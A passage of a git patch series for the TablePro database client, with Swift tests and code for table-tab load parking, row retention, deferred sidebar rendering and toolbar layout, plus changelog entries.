+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Returns early when a load Task is already registered for this tab")
@@ -182,7 +183,7 @@ struct MainContentCoordinatorLazyLoadTests {
 
         #expect(coordinator.tableLoadTasks.count == 1)
         #expect(coordinator.tableLoadTasks[tabId] != nil)
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     /// The task slot stops answering once the load hands off to an execution: `executeQueryInternal`
@@ -202,7 +203,7 @@ struct MainContentCoordinatorLazyLoadTests {
 
         #expect(coordinator.tabExecution.isCurrent(claim))
         #expect(coordinator.tableLoadTasks[tabId] == nil)
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     /// Fetch All runs without claiming the tab, so the narrower `isExecuting` would let a second
@@ -221,31 +222,31 @@ struct MainContentCoordinatorLazyLoadTests {
         coordinator.lazyLoadCurrentTabIfNeeded()
 
         #expect(coordinator.tableLoadTasks[tabId] == nil)
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     // MARK: - Connection guard
 
-    @Test("Sets pendingLoadTrigger when a fresh table tab is not connected")
+    @Test("Parks the load with its tab when a fresh table tab is not connected")
     func defersWhenDisconnected() {
         let (coordinator, tabManager) = makeCoordinator()
-        _ = addTableTab(to: tabManager)
-        coordinator.pendingLoadTrigger = nil
+        let tabId = addTableTab(to: tabManager)
+        coordinator.parkedTableLoad = nil
 
         coordinator.lazyLoadCurrentTabIfNeeded()
 
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
+        #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: tabId, trigger: .userInitiated))
     }
 
-    @Test("Carries the restore trigger into pendingLoadTrigger when disconnected")
+    @Test("Parks the restore trigger with its tab when disconnected")
     func carriesRestoreTriggerWhenDisconnected() {
         let (coordinator, tabManager) = makeCoordinator()
-        _ = addTableTab(to: tabManager)
-        coordinator.pendingLoadTrigger = nil
+        let tabId = addTableTab(to: tabManager)
+        coordinator.parkedTableLoad = nil
 
         coordinator.lazyLoadCurrentTabIfNeeded(trigger: .restore)
 
-        #expect(coordinator.pendingLoadTrigger == .restore)
+        #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: tabId, trigger: .restore))
     }
 
     @Test("A deferred restore tab does not load until its window becomes key")
@@ -253,11 +254,11 @@ struct MainContentCoordinatorLazyLoadTests {
         let (coordinator, tabManager) = makeCoordinator()
         let tabId = addTableTab(to: tabManager)
         coordinator.deferredRestoreLoadTabId = tabId
-        coordinator.pendingLoadTrigger = nil
+        coordinator.parkedTableLoad = nil
 
         coordinator.lazyLoadCurrentTabIfNeeded(trigger: .restore)
 
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
         #expect(coordinator.tableLoadTasks[tabId] == nil)
     }
 
@@ -267,12 +268,12 @@ struct MainContentCoordinatorLazyLoadTests {
         let tabId = addTableTab(to: tabManager)
         coordinator.deferredRestoreLoadTabId = tabId
         coordinator.isKeyWindow = false
-        coordinator.pendingLoadTrigger = nil
+        coordinator.parkedTableLoad = nil
 
         coordinator.consumeDeferredRestoreLoadIfNeeded()
 
         #expect(coordinator.deferredRestoreLoadTabId == tabId)
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
         #expect(coordinator.tableLoadTasks[tabId] == nil)
     }
 
@@ -281,12 +282,12 @@ struct MainContentCoordinatorLazyLoadTests {
         let (coordinator, tabManager) = makeCoordinator()
         let tabId = addTableTab(to: tabManager)
         coordinator.deferredRestoreLoadTabId = tabId
-        coordinator.pendingLoadTrigger = nil
+        coordinator.parkedTableLoad = nil
 
         coordinator.handleWindowDidBecomeKey()
 
         #expect(coordinator.deferredRestoreLoadTabId == nil)
-        #expect(coordinator.pendingLoadTrigger == .restore)
+        #expect(coordinator.parkedTableLoad?.trigger == .restore)
     }
 
     /// A link or an agent can select another tab before the restored window comes forward. The
@@ -303,10 +304,10 @@ struct MainContentCoordinatorLazyLoadTests {
         #expect(coordinator.deferredRestoreLoadTabId == nil)
 
         tabManager.selectedTabId = deferredId
-        coordinator.pendingLoadTrigger = nil
+        coordinator.parkedTableLoad = nil
         coordinator.lazyLoadCurrentTabIfNeeded()
 
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
+        #expect(coordinator.parkedTableLoad?.trigger == .userInitiated)
     }
 
     // MARK: - Idempotency
@@ -326,7 +327,7 @@ struct MainContentCoordinatorLazyLoadTests {
             coordinator.lazyLoadCurrentTabIfNeeded()
         }
         #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 4)
-        #expect(coordinator.pendingLoadTrigger == nil)
+        #expect(coordinator.parkedTableLoad == nil)
     }
 
     @Test("Clears an abandoned claim when no in-flight task remains")
@@ -343,38 +344,7 @@ struct MainContentCoordinatorLazyLoadTests {
         coordinator.lazyLoadCurrentTabIfNeeded()
 
         #expect(coordinator.tabExecution.isExecuting(tabId) == false)
-        #expect(coordinator.pendingLoadTrigger == .userInitiated)
-    }
-
-    // MARK: - loadEpoch bump triggers reload after eviction
-
-    /// `.task(id:)` keys on the tab's own `loadEpoch`, so that is the one the eviction path has to
-    /// move. This used to assert on a copy held by the session that nothing reads, which would
-    /// have stayed green with the reload broken.
-    @Test("Evicting a background tab bumps the tab's loadEpoch so .task(id:) re-fires")
-    func evictionBumpsLoadEpoch() {
-        let (coordinator, tabManager) = makeCoordinator()
-        let background = addTableTab(to: tabManager, tableName: "orders")
-        seedRows(coordinator, for: background, rowCount: 7)
-        let foreground = addTableTab(to: tabManager, tableName: "customers")
-        tabManager.selectedTabId = foreground
-        guard let idx = tabManager.tabs.firstIndex(where: { $0.id == background }) else {
-            Issue.record("expected tab to exist")
-            return
-        }
-        tabManager.tabs[idx].execution.lastExecutedAt = Date()
-        let initialEpoch = tabManager.tabs[idx].loadEpoch
-        #expect(coordinator.tabSessionRegistry.tableRows(for: background).rows.count == 7)
-
-        coordinator.evictInactiveRowData()
-
-        guard let evictedTab = tabManager.tabs.first(where: { $0.id == background }) else {
-            Issue.record("expected tab to exist")
-            return
-        }
-        #expect(evictedTab.loadEpoch != initialEpoch)
-        #expect(coordinator.tabSessionRegistry.isEvicted(background) == true)
-        #expect(coordinator.tabSessionRegistry.isEvicted(foreground) == false)
+        #expect(coordinator.parkedTableLoad?.trigger == .userInitiated)
     }
 
     /// A claim with no task behind it is healed on the next lazy load. That heal never lowered the
@@ -421,14 +391,91 @@ struct MainContentCoordinatorLazyLoadTests {
         #expect(coordinator.isKeyWindow == true)
     }
 
-    @Test("handleWindowDidBecomeKey cancels a pending eviction task")
-    func windowDidBecomeKeyCancelsEviction() {
-        let (coordinator, _) = makeCoordinator()
-        coordinator.handleWindowDidResignKey()
-        #expect(coordinator.evictionTask != nil)
+    @Test("Resigning and regaining key status runs no query")
+    func keyRoundTripRunsNothing() {
+        let (coordinator, tabManager) = makeCoordinator()
+        let tabId = addTableTab(to: tabManager)
+        seedRows(coordinator, for: tabId)
+        tabManager.mutate(tabId: tabId) { $0.execution.lastExecutedAt = Date() }
 
+        coordinator.handleWindowDidResignKey()
+        #expect(coordinator.isKeyWindow == false)
         coordinator.handleWindowDidBecomeKey()
-        #expect(coordinator.evictionTask == nil)
+
         #expect(coordinator.isKeyWindow == true)
+        #expect(coordinator.tabExecution.isAnyExecuting == false)
+        #expect(coordinator.tableLoadTasks[tabId] == nil)
+        #expect(coordinator.tabSessionRegistry.tableRows(for: tabId).rows.count == 3)
     }
+
+    // MARK: - Loading once the connection comes back
+
+    /// The parked load used to be one window-wide trigger, consumed against whatever tab was
+    /// selected, and a query tab took it as a Run.
+    @Test("A connection coming back never runs the selected query tab's statement")
+    func reconnectNeverRunsAQueryTab() {
+        let (coordinator, tabManager) = makeCoordinator()
+        let tableTab = addTableTab(to: tabManager)
+        coordinator.parkedTableLoad = ParkedTableLoad(tabId: tableTab, trigger: .userInitiated)
+        let queryTab = addQueryTab(to: tabManager, query: "DELETE FROM orders WHERE id = 7")
+
+        coordinator.loadSelectedTableTabAfterConnect()
+
+        #expect(coordinator.parkedTableLoad == nil)
+        #expect(coordinator.tabExecution.isBusy(queryTab) == false)
+        #expect(coordinator.queryTasks.hasTask(for: queryTab) == false)
+    }
+
+    @Test("A parked trigger goes only to the tab that parked it")
+    func parkedTriggerStaysWithItsTab() {
+        let (coordinator, tabManager) = makeCoordinator()
+        let restored = addTableTab(to: tabManager)
+        coordinator.parkedTableLoad = ParkedTableLoad(tabId: restored, trigger: .restore)
+
+        coordinator.loadSelectedTableTabAfterConnect()
+        #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: restored, trigger: .restore))
+
+        let other = addTableTab(to: tabManager, tableName: "orders", query: "SELECT * FROM orders")
+        coordinator.loadSelectedTableTabAfterConnect()
+        #expect(coordinator.parkedTableLoad == ParkedTableLoad(tabId: other, trigger: .userInitiated))
+    }
+
+    // MARK: - A changed table under an open cell
+
+    @Test("A tab whose table changed waits for an open cell to close before it reloads")
+    func changedTableWaitsForAnOpenCell() throws {
+        let (coordinator, tabManager) = makeCoordinator()
+        let tabId = addTableTab(to: tabManager)
+        seedRows(coordinator, for: tabId)
+        tabManager.mutate(tabId: tabId) { $0.execution.lastExecutedAt = Date() }
+        coordinator.tabSessionRegistry.recordChange(TableFreshness.Change(extent: .rows, at: .now), for: tabId)
+        let editor = EditingGridView()
+        coordinator.gridModel(forTab: tabId).attach(editor)
+        let tab = try #require(tabManager.selectedTab)
+
+        editor.isEditing = true
+        #expect(coordinator.canAutoLoadTableTab(tab) == false)
+
+        editor.isEditing = false
+        #expect(coordinator.canAutoLoadTableTab(tab))
+    }
+}
+
+@MainActor
+private final class EditingGridView: DataGridMountedView {
+    var isEditing = false
+
+    func apply(_ change: DataGridChange) {}
+    func selectionDidChange() {}
+    func configurationDidChange() {}
+    func reveal(row: Int, displayColumn: Int?) {}
+    func revealColumn(_ displayColumn: Int) {}
+    func sortDidChange() {}
+    func summaryRulesDidChange() {}
+    func viewportSample() -> (row: Int, offset: CGFloat)? { nil }
+    func beginEditing(row: Int, displayColumn: Int) -> Bool { false }
+    func commitEditing() -> Bool { true }
+    func discardEditing() {}
+    func focus() -> Bool { false }
+    func anchor(forColumn displayColumn: Int) -> (view: NSView, rect: NSRect)? { nil }
 }
diff --git a/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift b/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift
new file mode 100644
index 0000000000..809cce7979
--- /dev/null
+++ b/apple/TableProTests/Views/Main/TableTabRowRetentionTests.swift
@@ -0,0 +1,145 @@
+//
+//  TableTabRowRetentionTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import TableProUtilities
+import Testing
+
+@MainActor
+struct TableTabRowRetentionTests {
+    private let fixtures = CoordinatorFixtures()
+    private static let rowCount = 10
+
+    private func makeCoordinator() -> (MainContentCoordinator, QueryTabManager) {
+        let fixture = fixtures.make()
+        return (fixture.coordinator, fixture.tabManager)
+    }
+
+    private func addLoadedTableTab(
+        _ coordinator: MainContentCoordinator,
+        _ tabManager: QueryTabManager,
+        tableName: String
+    ) -> UUID {
+        var tab = QueryTab(title: tableName, query: "SELECT * FROM \(tableName)", tabType: .table, tableName: tableName)
+        tab.execution.lastExecutedAt = Date()
+        tabManager.tabs.append(tab)
+        tabManager.selectedTabId = tab.id
+        let rows = (0..<Self.rowCount).map { [PluginCellValue.text("\($0)"), PluginCellValue.text("row \($0)")] }
+        let tableRows = TableRows.from(
+            queryRows: rows,
+            columns: ["id", "name"],
+            columnTypes: [.integer(rawType: nil), .text(rawType: nil)]
+        )
+        coordinator.setActiveTableRows(tableRows, for: tab.id)
+        return tab.id
+    }
+
+    private func tab(_ id: UUID, in tabManager: QueryTabManager) throws -> QueryTab {
+        try #require(tabManager.tabs.first { $0.id == id })
+    }
+
+    // The old budget eviction ran in the same deferred task as the cache prune, so the prune finishing means it would have run.
+    @Test("Switching through more table tabs than the cache budget keeps every tab's rows")
+    func switchingKeepsEveryTabsRows() async throws {
+        let (coordinator, tabManager) = makeCoordinator()
+        let ids = (0..<(GridDisplayCacheBudget.unmountedGrids() + 3)).map {
+            addLoadedTableTab(coordinator, tabManager, tableName: "table_\($0)")
+        }
+        let oldestCache = coordinator.gridModel(forTab: ids[0]).display.cache
+        oldestCache.setBox(RowDisplayBox(["formatted", nil]), forID: .existing(0))
+        for id in ids.dropFirst() {
+            _ = coordinator.gridModel(forTab: id)
+        }
+
+        let outgoing = ids[ids.count - 1]
+        let incoming = ids[ids.count - 2]
+        tabManager.selectedTabId = incoming
+        coordinator.handleTabChange(from: outgoing, to: incoming, tabs: tabManager.tabs)
+        try await waitUntil { oldestCache.box(forID: .existing(0)) == nil }
+
+        for id in ids {
+            let current = try tab(id, in: tabManager)
+            #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount)
+            #expect(coordinator.canAutoLoadTableTab(current) == false)
+        }
+    }
+
+    @Test("The prune releases only formatted text of grids off screen and used longest ago")
+    func pruneReleasesOnlyOldUnmountedText() {
+        let (coordinator, tabManager) = makeCoordinator()
+        let ids = (0..<(GridDisplayCacheBudget.unmountedGrids() + 2)).map {
+            addLoadedTableTab(coordinator, tabManager, tableName: "table_\($0)")
+        }
+        let caches = ids.map { id in
+            let cache = coordinator.gridModel(forTab: id).display.cache
+            cache.setBox(RowDisplayBox(["formatted", nil]), forID: .existing(0))
+            return cache
+        }
+
+        coordinator.pruneGridDisplayCaches()
+
+        #expect(caches[0].box(forID: .existing(0)) == nil)
+        for cache in caches.dropFirst() {
+            #expect(cache.box(forID: .existing(0)) != nil)
+        }
+        for id in ids {
+            #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount)
+        }
+    }
+
+    // Holds without waiting: the old 5 s eviction would need a fixed sleep to observe, which the test rules forbid.
+    @Test("Losing key status keeps every background table tab's rows")
+    func resigningKeyKeepsRows() throws {
+        let (coordinator, tabManager) = makeCoordinator()
+        let background = addLoadedTableTab(coordinator, tabManager, tableName: "orders")
+        let selected = addLoadedTableTab(coordinator, tabManager, tableName: "customers")
+        coordinator.handleWindowDidBecomeKey()
+
+        coordinator.handleWindowDidResignKey()
+
+        #expect(coordinator.isKeyWindow == false)
+        for id in [background, selected] {
+            let current = try tab(id, in: tabManager)
+            #expect(coordinator.tabSessionRegistry.tableRows(for: id).rows.count == Self.rowCount)
+            #expect(coordinator.canAutoLoadTableTab(current) == false)
+        }
+    }
+
+    @Test("Rows cannot be edited while a load that replaces them is running")
+    func rowsAreReadOnlyWhileReplaced() throws {
+        let (coordinator, tabManager) = makeCoordinator()
+        let tabId = addLoadedTableTab(coordinator, tabManager, tableName: "orders")
+        tabManager.mutate(tabId: tabId) { $0.tableContext.isEditable = true }
+        #expect(coordinator.canEditActiveResult)
+
+        let claim = coordinator.tabExecution.claim(tabId)
+        let loading = try tab(tabId, in: tabManager)
+        #expect(coordinator.canEditActiveResult == false)
+        #expect(coordinator.gridConfiguration(for: loading).isEditable == false)
+
+        let settled = coordinator.tabExecution.settle(claim)
+        #expect(settled)
+        #expect(coordinator.canEditActiveResult)
+    }
+
+    @Test("A tab whose table TablePro changed keeps its rows and reloads when shown")
+    func changedTableReloadsOverItsRows() throws {
+        let (coordinator, tabManager) = makeCoordinator()
+        let background = addLoadedTableTab(coordinator, tabManager, tableName: "orders")
+        _ = addLoadedTableTab(coordinator, tabManager, tableName: "customers")
+
+        coordinator.tabSessionRegistry.recordChange(
+            TableFreshness.Change(extent: .rows, at: .now),
+            for: background
+        )
+
+        let current = try tab(background, in: tabManager)
+        #expect(coordinator.tabSessionRegistry.tableRows(for: background).rows.count == Self.rowCount)
+        #expect(coordinator.canAutoLoadTableTab(current))
+    }
+}
diff --git a/apple/changelog.d/3848.fixed.1.md b/apple/changelog.d/3848.fixed.1.md
new file mode 100644
index 0000000000..4e885668ad
--- /dev/null
+++ b/apple/changelog.d/3848.fixed.1.md
@@ -0,0 +1 @@
+A table tab waiting for its connection could run the statement under the cursor in a query tab instead.
diff --git a/apple/changelog.d/3848.fixed.2.md b/apple/changelog.d/3848.fixed.2.md
new file mode 100644
index 0000000000..4fbc5d3d95
--- /dev/null
+++ b/apple/changelog.d/3848.fixed.2.md
@@ -0,0 +1 @@
+A table tab could reload under an open cell and drop what you were typing after a save in another window.
diff --git a/apple/changelog.d/3848.fixed.3.md b/apple/changelog.d/3848.fixed.3.md
new file mode 100644
index 0000000000..4a17efaa16
--- /dev/null
+++ b/apple/changelog.d/3848.fixed.3.md
@@ -0,0 +1 @@
+Edits made to rows while a query or refresh was still loading new ones were discarded when it finished.
diff --git a/apple/changelog.d/3848.fixed.md b/apple/changelog.d/3848.fixed.md
new file mode 100644
index 0000000000..a131958c66
--- /dev/null
+++ b/apple/changelog.d/3848.fixed.md
@@ -0,0 +1 @@
+Table tabs ran their query again when you switched back to them or returned to TablePro from another app.

From c0ab4099ce37c85e2f5d9b02786312db7977336b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 01:18:10 +0700
Subject: [PATCH 04/44] perf(sidebar): put the first catalog's outline up a
 committed frame later (#3849)

---
 .../Extensions/NSWindow+FirstFrame.swift      | 12 +++++++++
 .../SidebarObjectListPresentation.swift       |  6 +++++
 .../TablePro/Views/Sidebar/SidebarView.swift  | 26 +++++++++++++++++--
 .../Extensions/NSWindowNextFrameTests.swift   | 11 ++++++++
 .../SidebarObjectListPresentationTests.swift  |  8 ++++++
 apple/changelog.d/3849.fixed.md               |  1 +
 6 files changed, 62 insertions(+), 2 deletions(-)
 create mode 100644 apple/changelog.d/3849.fixed.md

diff --git a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
index 925156f3eb..eb851bc4ed 100644
--- a/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
+++ b/apple/TablePro/Extensions/NSWindow+FirstFrame.swift
@@ -58,6 +58,18 @@ internal extension NSWindow {
     }
 }
 
+/// Work that must not share a run loop turn with the frame this turn builds.
+@MainActor
+internal enum CommittedTurn {
+    /// Runs `body` after this turn's frame is committed, in a later turn. A main-queue hop alone can run
+    /// before the run loop waits, so the hang would still be one: both pieces between two waits.
+    static func after(_ body: @escaping @MainActor () -> Void) {
+        CATransaction.setCompletionBlock {
+            DispatchQueue.main.async { MainActor.assumeIsolated(body) }
+        }
+    }
+}
+
 @MainActor
 private final class FrameGate {
     var continuation: CheckedContinuation<Void, Never>?
diff --git a/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift b/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift
index 018b3f3f6e..5d6741568a 100644
--- a/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift
+++ b/apple/TablePro/Models/Sidebar/SidebarObjectListPresentation.swift
@@ -32,6 +32,12 @@ internal enum SidebarObjectListPresentation: Equatable {
     /// Reaching for the state enum directly instead is what left the tree with a spinner on no gate
     /// at all, flashing it on every engine that groups by schema while the two flat shapes beside
     /// it held theirs back.
+    /// What the list stands on while a loaded catalog waits for its turn: the load still reads as in flight.
+    internal static func presentedState(_ state: SchemaState, showsLoaded: Bool) -> SchemaState {
+        if case .loaded = state, !showsLoaded { return .loading }
+        return state
+    }
+
     internal static func resolveDeferringEmptyStates(
         state: SchemaState,
         hasOutlastedGrace: Bool = true
diff --git a/apple/TablePro/Views/Sidebar/SidebarView.swift b/apple/TablePro/Views/Sidebar/SidebarView.swift
index 08a7436198..1d9b0e002f 100644
--- a/apple/TablePro/Views/Sidebar/SidebarView.swift
+++ b/apple/TablePro/Views/Sidebar/SidebarView.swift
@@ -15,6 +15,8 @@ struct SidebarView: View {
     @StateObject private var viewModel: SidebarViewModel
     @ObservedObject private var settingsManager = AppSettingsManager.shared
     @State private var showsSchemaProgress = false
+    /// See `presentedSchemaState`.
+    @State private var showsLoadedCatalog = false
 
     @ObservedObject private var schemaService = SchemaService.shared
     @ObservedObject private var treeMetadata = DatabaseTreeMetadataService.shared
@@ -200,6 +202,15 @@ struct SidebarView: View {
         }
         .onAppear {
             coordinator?.sidebarViewModel = viewModel
+            // A pane put back on screen shows the list it already had.
+            showsLoadedCatalog = isCatalogLoaded
+        }
+        .onChange(of: isCatalogLoaded) { isLoaded in
+            guard isLoaded else {
+                showsLoadedCatalog = false
+                return
+            }
+            CommittedTurn.after { showsLoadedCatalog = true }
         }
         .onChange(of: viewModel.showOperationDialog) { isPresented in
             guard isPresented else { return }
@@ -305,7 +316,7 @@ struct SidebarView: View {
     @ViewBuilder
     private var hierarchicalContent: some View {
         let presentation = SidebarObjectListPresentation.resolveDeferringEmptyStates(
-            state: schemaService.state(for: connectionId),
+            state: presentedSchemaState,
             hasOutlastedGrace: showsSchemaProgress
         )
         Group {
@@ -336,9 +347,20 @@ struct SidebarView: View {
         )
     }
 
+    private var isCatalogLoaded: Bool {
+        if case .loaded = schemaService.state(for: connectionId) { return true }
+        return false
+    }
+
+    // A connection's first catalog can land in the turn that commits the restored tab's frame, and building the
+    // outline there made one stall of both. The outline goes up in a later turn, the loading state held till then.
+    private var presentedSchemaState: SchemaState {
+        SidebarObjectListPresentation.presentedState(schemaService.state(for: connectionId), showsLoaded: showsLoadedCatalog)
+    }
+
     private var objectListPresentation: SidebarObjectListPresentation {
         SidebarObjectListPresentation.resolve(
-            state: schemaService.state(for: connectionId),
+            state: presentedSchemaState,
             hasActiveFilter: !viewModel.filterQuery.isEmpty,
             hasAnyMatch: hasAnyMatch,
             hasOutlastedGrace: showsSchemaProgress,
diff --git a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
index 24652779f4..ae48456d27 100644
--- a/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
+++ b/apple/TableProTests/Extensions/NSWindowNextFrameTests.swift
@@ -5,6 +5,7 @@
 
 import AppKit
 @testable import TablePro
+import TableProTestSupport
 import Testing
 
 @MainActor
@@ -49,4 +50,14 @@ struct NSWindowNextFrameTests {
 
         #expect(FirstFrameObserver.liveCount == before)
     }
+
+    @Test("Work after the committed turn never runs in the turn that asked for it")
+    func committedTurnRunsLater() async throws {
+        var ran = false
+
+        CommittedTurn.after { ran = true }
+
+        #expect(!ran)
+        try await waitUntil { ran }
+    }
 }
diff --git a/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift b/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift
index 8fd0d08fa6..830de95668 100644
--- a/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift
+++ b/apple/TableProTests/Models/SidebarObjectListPresentationTests.swift
@@ -167,4 +167,12 @@ struct SidebarObjectListPresentationTests {
             hasOutlastedGrace: false
         ) == .failed("boom"))
     }
+    @Test("A loaded catalog waiting for its turn still reads as loading, and every other state passes through")
+    func heldCatalogReadsAsLoading() {
+        let loaded = SchemaState.loaded([table("users")])
+        #expect(SidebarObjectListPresentation.presentedState(loaded, showsLoaded: false) == .loading)
+        #expect(SidebarObjectListPresentation.presentedState(loaded, showsLoaded: true) == loaded)
+        #expect(SidebarObjectListPresentation.presentedState(.failed("boom"), showsLoaded: false) == .failed("boom"))
+        #expect(SidebarObjectListPresentation.presentedState(.idle, showsLoaded: true) == .idle)
+    }
 }
diff --git a/apple/changelog.d/3849.fixed.md b/apple/changelog.d/3849.fixed.md
new file mode 100644
index 0000000000..51afd3407b
--- /dev/null
+++ b/apple/changelog.d/3849.fixed.md
@@ -0,0 +1 @@
+The sidebar no longer freezes the window for a moment when a very large table list first loads.

From e6b5e61adca55e26981b183d1d95267a3145eae1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 02:14:17 +0700
Subject: [PATCH 05/44] fix(chrome): place toolbar sections and view switchers
 where the HIG puts them (#3851)

---
 .../DataGrid/Binding+CommittingGridEdit.swift |  23 ++++
 .../Infrastructure/MainWindowToolbar.swift    |  16 ++-
 .../Toolbar/ToolbarSymbols.swift              |  25 ++--
 .../AIChat/AIChatWalkthroughBlockView.swift   |   2 +-
 .../Views/Compare/CompareDetailView.swift     |  11 +-
 .../Compare/CompareSyncWindowController.swift |   6 +-
 .../Views/Components/DiagramZoomToolbar.swift |  19 ++-
 .../Views/Components/ViewSwitcherStyle.swift  |  65 ++++++++++
 .../Views/DataFiles/DataFileContentView.swift |   6 +-
 .../DataFiles/DataFileWindowController.swift  |  24 +++-
 .../IntegrationsActivityLogPane.swift         |   4 +-
 .../UserType/UserTypeTabView.swift            |  19 ++-
 .../Views/QueryPlan/QueryPlanResultView.swift |   3 +-
 .../Views/Results/BinaryValueViewerView.swift |   3 +-
 .../Views/Results/CellImageViewer.swift       |   3 +-
 .../Views/Results/JSONViewerView.swift        |   3 +-
 .../Views/Results/PhpViewerView.swift         |   3 +-
 .../Views/Results/ResultStatusBar.swift       |   2 +-
 .../Views/Results/ResultsJsonView.swift       |   3 +-
 .../FieldEditors/GeometryFieldView.swift      |   3 +-
 .../RowInspector/TrailingPaneHeaderView.swift |   3 +-
 .../Views/Sidebar/SidebarScopeControl.swift   |  12 ++
 .../Structure/CreateTableFormEditor.swift     |  53 ++++----
 .../Views/Structure/CreateTableView.swift     | 116 +++++++++++-------
 .../Views/Structure/TableStructureView.swift  |  28 ++---
 .../UsersRoles/PrincipalDetailPane.swift      |   2 +-
 .../PrivilegeScopeOutlineCoordinator.swift    |  29 ++++-
 .../VersionHistoryDetailHeader.swift          |   4 +-
 .../Views/Components/BottomSafeAreaBar.swift  |  22 ----
 .../Views/Components/SafeAreaBar.swift        |  27 ++++
 .../Views/ConnectionListView.swift            |   2 +-
 .../Views/DataBrowserView.swift               |  10 +-
 .../TableProMobile/Views/StructureView.swift  |   3 +-
 apple/TableProMobile/project.yml              |   2 +
 .../BindingCommittingGridEditTests.swift      |  46 +++++++
 .../Core/Menu/ChromeSnapshot.json             |   4 +-
 .../Infrastructure/ToolbarSymbolsTests.swift  |  11 +-
 .../Components/ViewSwitcherStyleTests.swift   |  76 ++++++++++++
 .../Sidebar/SidebarScopeControlTests.swift    |  13 ++
 .../PrivilegeScopeOutlineSelectionTests.swift |  54 ++++++++
 .../DataFileWindowUITests.swift               |   2 +-
 .../QueryPlanResultUITests.swift              |   7 +-
 .../TableProUITests/Support/UITestCase.swift  |  11 +-
 apple/changelog.d/3851.changed.md             |   1 +
 .../probes/check-toolbar-autosave-reorder.sh  |  98 +++++++++++++++
 45 files changed, 695 insertions(+), 184 deletions(-)
 create mode 100644 apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift
 create mode 100644 apple/TablePro/Views/Components/ViewSwitcherStyle.swift
 delete mode 100644 apple/TableProMobile/TableProMobile/Views/Components/BottomSafeAreaBar.swift
 create mode 100644 apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift
 create mode 100644 apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift
 create mode 100644 apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift
 create mode 100644 apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift
 create mode 100644 apple/changelog.d/3851.changed.md
 create mode 100755 apple/scripts/probes/check-toolbar-autosave-reorder.sh

diff --git a/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift b/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift
new file mode 100644
index 0000000000..e67f7df75d
--- /dev/null
+++ b/apple/TablePro/Core/DataGrid/Binding+CommittingGridEdit.swift
@@ -0,0 +1,23 @@
+//
+//  Binding+CommittingGridEdit.swift
+//  TablePro
+//
+
+import SwiftUI
+
+extension Binding {
+    /// For a tab selection whose panes share one grid model. The open cell edit commits against the pane
+    /// being left before the new tab is published, because the incoming pane's grid can mount before
+    /// the outgoing one is dismantled, and an edit committed at that teardown would land on the new
+    /// pane's rows, which reuse the same row and column ids.
+    @MainActor
+    func committingEdit(of model: DataGridModel) -> Binding<Value> {
+        Binding(
+            get: { wrappedValue },
+            set: { newValue in
+                model.commitEditing()
+                wrappedValue = newValue
+            }
+        )
+    }
+}
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
index 1e9efd2d10..714e89c20f 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
@@ -23,7 +23,9 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
     /// record on the next launch. A user who customized keeps their arrangement and still receives
     /// new items where they belong; a bump would throw that away along with their display mode.
     /// The record is six keys and `isHidden` is not among them, since it is runtime state that is
-    /// never persisted, so a context-sensitive item set is no reason to bump either.
+    /// never persisted, so a context-sensitive item set is no reason to bump either. A reordered
+    /// default list needs no bump: a toolbar nobody customized stores no item list and takes the
+    /// new order, and a customized one keeps the user's (`scripts/probes/check-toolbar-autosave-reorder.sh`).
     ///
     /// Bump only for a change that diff cannot express, and say which. Neither fact was measured on
     /// macOS 13 or 14.
@@ -411,8 +413,14 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
 
     /// Eight controls, and the zones are the panes. AppKit's own sidebar toggle stands alone ahead of
